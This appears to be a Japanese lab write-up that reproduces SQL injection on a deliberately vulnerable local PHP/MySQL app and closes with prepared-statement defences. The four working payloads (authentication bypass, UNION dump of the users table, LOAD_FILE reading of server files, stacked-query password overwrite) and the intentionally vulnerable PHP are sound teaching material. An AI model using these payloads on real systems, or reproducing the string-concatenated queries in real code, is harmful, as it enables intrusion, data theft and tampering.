SQL インジェクション (SQLi) は、ユーザー入力を SQL 文に直接連結することで、攻撃者が任意の SQL を実行できてしまう古典的な Web 脆弱性。本実験ではローカル環境 (Windows + XAMPP) に意図的に脆弱な PHP / MySQL アプリを構築し、(1) 認証回避 → (2) UNION による情報取得 → (3) LOAD_FILE によるサーバファイル読取 → (4) スタッククエリによるデータベース改ざんの 4 つの攻撃を再現する。最後に、これらの攻撃をすべて無効化する プリペアドステートメントの正しい使い方まで通しで扱う。
SQL インジェクションは 他人のサイトに撃った瞬間に犯罪 (日本: 不正アクセス禁止法 / 電子計算機損壊等業務妨害罪、米国: CFAA)。自分の PC にローカルで建てた XAMPP / Docker 上の脆弱なアプリでのみ実施可能。意図的に脆弱に作られた練習サイト (DVWA / PortSwigger Web Security Academy / HackTheBox) で学習するのも適切な選択肢。
実験の概要 — 4 つの攻撃を再現 #
実験は以下のステップで行う。
| # | 実験 | 内容 |
|---|---|---|
| 1 | 認証回避 | SQL の論理を操作し、パスワードなしでログイン |
| 2 | 情報取得 | UNION 演算子を悪用し、データベース内の全情報を盗み出す |
| 3 | ファイル表示 | LOAD_FILE() 関数を悪用し、サーバー上のローカルファイルを読み取る |
| 4 | データベース改ざん | スタッククエリを悪用し、データベースの値を不正に書き換える |
ログインフォームの裏では 「username が ○○ で password が ○○ の人を探して」という SQL 文がデータベースに送られる。脆弱なコードは ユーザの入力をそのまま SQL 文に貼り付けるので、攻撃者は 「username が admin で password が空、または 1=1 (常に真)」のような 「SQL の論理を捻じ曲げる入力」を打ち込める。データベースから見ると「正しい SQL」なので、何の疑いもなく実行されてしまう。 — 「店員に注文を伝えるはずの紙に、勝手にメニュー外の命令を書き足して渡す」のと同じ構図。
環境構築 #
| 項目 | 内容 |
|---|---|
| OS | Windows 11 |
| サーバー | XAMPP (Apache, MariaDB(MySQL)) |
| 脆弱なアプリ | 自作 PHP スクリプト + test_db データベースと users テーブル |
# データベースへアクセス
PS C:\xampp\mysql\bin> .\mysql.exe -u root
# test_dbデータベースを作成
MariaDB [(none)]> CREATE DATABASE test_db;
# users テーブルを作成
MariaDB [(none)]> USE test_db;
MariaDB [test_db]> CREATE TABLE users (
-> id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
-> username VARCHAR(50) NOT NULL,
-> password VARCHAR(50) NOT NULL
-> );
# users テーブルの構造を確認
MariaDB [test_db]> DESC users;
# admin と user を登録
MariaDB [test_db]> INSERT INTO users (username, password) VALUES
-> ('admin', 'password123'),
-> ('user', 'pass');
# 登録内容の最終確認
MariaDB [test_db]> SELECT * FROM users;
+----+----------+-------------+
| id | username | password |
+----+----------+-------------+
| 1 | admin | password123 |
| 2 | user | pass |
+----+----------+-------------+
実験 1: 認証回避 #
目的 — パスワードを知らなくても、WHERE 句の論理を操作して常に「真」にすることで、ログイン認証を突破する。
使用ファイル #
index.html (ログインフォーム):
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>ログインフォーム(脆弱な例)</title>
</head>
<body>
<h2>ログイン</h2>
<form action="spli1.php" method="POST">
<div>
<label for="username">ユーザー名:</label>
<input type="text" id="username" name="username">
</div>
<div>
<label for="password">パスワード:</label>
<input type="password" id="password" name="password">
</div>
<button type="submit">ログイン</button>
</form>
</body>
</html>

spli1.php (脆弱なログイン処理):
<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";
$user = $_POST['username'];
$pass = $_POST['password'];
$conn = new mysqli($servername, $username_db, $password_db, $dbname);
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "<p>実行しようとしたクエリ:</p>";
echo "$sql<hr>";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "<h1>ログイン成功</h1>";
echo "<p>ようこそ、" . htmlspecialchars($user, ENT_QUOTES, 'UTF-8') . " さん</p>";
} else {
echo "<h1>ログイン失敗</h1>";
echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}
$conn->close();
?>
実行ペイロード #
ユーザー名とパスワード入力欄に以下の文字列を入力する。
ユーザー名:admin
パスワード:' OR '1'='1
実行される SQL #
PHP によって組み立てられた結果、SQL は以下のようになる。
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
結果と解説 #
MySQL は AND よりも OR の優先度が低いため、この SQL は (username = 'admin' AND password = '') OR ('1'='1') と解釈される。
前半が偽 (False) であっても、後半の '1'='1' が常に真 (True) であるため、WHERE 句全体が真となる。結果として、spli1.php の $result->num_rows > 0 の条件を満たし、**「ログイン成功」**と表示された。

実験 2: データベース情報取得とファイル表示 #
目的 — UNION 演算子と LOAD_FILE() 関数を使い、データベース内の情報やサーバー上のファイルを取得する。
使用ファイル #
index.html (<form action="spli1.php"> を <form action="spli2.php"> に変更)
spli2.php (結果をテーブル表示する):
<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";
$user = $_POST['username'];
$pass = $_POST['password'];
$conn = new mysqli($servername, $username_db, $password_db, $dbname);
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "<p>実行しようとしたクエリ:</p>";
echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "<hr>";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "<h1>ログイン成功</h1>";
echo "<p>--- データベースから取得した情報 ---</p>";
echo "<table border='1'>";
$fields = $result->fetch_fields();
echo "<tr>";
foreach ($fields as $field) {
echo "<th>" . htmlspecialchars($field->name) . "</th>";
}
echo "</tr>";
$result->data_seek(0);
while ($row = $result->fetch_assoc()) {
echo "<tr>";
foreach ($row as $data) {
echo "<td>" . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . "</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<h1>ログイン失敗</h1>";
echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}
$conn->close();
?>
※ spli2.php は、spli1.php とは異なり、取得した結果をすべてテーブル形式で表示するように変更されている。
通常のログイン #
ユーザー名:admin
パスワード:password123
実行結果

ログインが成功し、ログインした admin に関する情報だけが表示される。
実行ペイロード (情報取得) #
ユーザー名:' UNION SELECT id, username, password FROM users #
パスワード:hoge (適当)
実行される SQL
SELECT * FROM users WHERE username = '' UNION SELECT id, username, password FROM users #' AND password = 'a'
結果と解説
最初の SELECT 文は 0 件だが、UNION によって追加された SELECT ... FROM users が実行される。末尾の # (コメントアウト) が AND password = 'a' の構文エラーを防ぐ。結果、users テーブルの全内容 (admin と user の両方) が画面に表示された。

実行ペイロード (ファイル表示) #
ユーザー名:' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #
パスワード:hoge (適当)
実行される SQL
SELECT * FROM users WHERE username = '' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #' AND password = 'hoge'
結果と解説
UNION で結合する際、元のカラム数 (3 つ) と合わせるため、ダミーの 1 と 3 を入れている。LOAD_FILE() が username カラムの部分で実行され、サーバー (XAMPP 実行環境) の C:/Windows/win.ini の内容が読み取られ、画面に表示された。

UNION で「DB 上の任意のテーブルが読める」だけでも怖いが、LOAD_FILE は「DB サーバ上の OS ファイルが読める」レベルにまで攻撃を昇格させる。/etc/passwd や設定ファイル、秘密鍵を狙われると、DB だけでなくサーバ全体が掌握される入口になる。LOAD_FILE は MySQL の FILE 権限が必要だが、XAMPP のような開発環境では root で動かしがちで、簡単に成立してしまう。
実験 3: データベースの改ざん #
目的 — スタッククエリ (複数文の実行) を悪用し、データベースの値を不正に UPDATE (更新) する。
使用ファイル #
index.html (<form action="spli2.php"> を <form action="spli3.php"> に変更)
spli3.php (危険な multi_query() を使用する):
<?php
$conn = new mysqli("localhost", "root", "", "test_db");
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "<hr>";
if ($conn->multi_query($sql)) {
do {
if ($res = $conn->store_result()) {
$res->free();
}
} while ($conn->more_results() && $conn->next_result());
if ($conn->affected_rows > 0) {
echo "<p>ログインに成功しました</p>";
} else {
echo "<p>ログインに失敗しました</p>";
}
} else {
echo "<p style='color: red;'><b>クエリ失敗:</b> " . $conn->error . "</p>";
}
$conn->close();
?>
※ spli3.php は、query() の代わりに、複数文の実行を許可する multi_query() を意図的に使用している。
実行ペイロード #
ユーザー名:' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #
パスワード:hoge (適当)
実行される SQL #
SELECT * FROM users WHERE username = '' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #' AND password = 'a'
結果と解説 #
multi_query() を使用したため、セミコロン (;) で区切られた 2 つの SQL 文 (SELECT と UPDATE) が連続して実行された。spli3.php は affected_rows (影響を受けた行数) を見ており、UPDATE が成功して 1 行が影響を受けたため**「ログイン成功」**と表示された。
実際に MySQL コンソールから SELECT * FROM users; を確認したところ、admin のパスワードが hacked に変更されていることを確認できた。

対策と考察 #
なぜ攻撃が成立したのか #
これらの攻撃がすべて成功した根本的な原因は、**「ユーザーの入力を SQL 文の一部 (文字列) として直接連結した」**こと。
最も強力で根本的な対策は、プリペアドステートメント (プレースホルダ) を利用すること。これは、SQL 文の「命令 (SELECT など)」と「値 (admin など)」を分離してデータベースに送る仕組み。
安全なコード (PHP / mysqli) #
// 1. SQL文のテンプレート(値の部分を ? にする)
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";
// 2. ステートメントを準備
$stmt = $conn->prepare($sql);
// 3. 値を「バインド」(型を指定して割り当て)
// "ss" は string, string の意味
$stmt->bind_param("ss", $user, $pass);
// 4. 実行
$stmt->execute();
// 5. 結果取得
$result = $stmt->get_result();
この方法を使えば、たとえユーザー名に ' OR '1'='1 と入力されても、それは「SQL の命令」とは解釈されず、単なる「' OR '1'='1 という文字列のユーザー名」として扱われるため、すべての SQL インジェクション攻撃は失敗する。
対策の階層 #
| 層 | 内容 |
|---|---|
| アプリ層 | プリペアドステートメント (mysqli prepare / PDO prepare) を全クエリで使う。生 SQL 連結は禁止 |
| ORM の活用 | Laravel Eloquent / Django ORM / SQLAlchemy など、自動でプレースホルダ化するフレームワークを使う |
| DB 権限 | アプリ用 DB ユーザに FILE / SUPER 権限を与えない。MySQL root で本番運用しない |
| WAF | Cloudflare / AWS WAF などで OWASP CRS を有効化 — 既知 SQLi パターンを弾く |
| 入力検証 | 数値しか期待しない箇所は型キャスト / 正規表現で弾く (アプリ層の補助) |
感想として、わずか数行の脆弱なコードから、認証回避 / 情報漏洩 / サーバのファイル読み取り / データ改ざんまで、これほど多様な攻撃に派生することに驚いた。特に、query() では防がれていたスタッククエリが、multi_query() を使うだけで可能になってしまう など、使用する関数一つでセキュリティレベルが大きく変わる。「ユーザーからの入力はすべて信頼しない」というセキュリティ原則の重みを、4 つの実験で同時に体感できた。開発者は 「プリペアドステートメントを習慣として常に使う」こと、フレームワークの自動エスケープに乗ること、これだけで現代の SQLi の 95% は構造的に防げる。
COMMENTS 3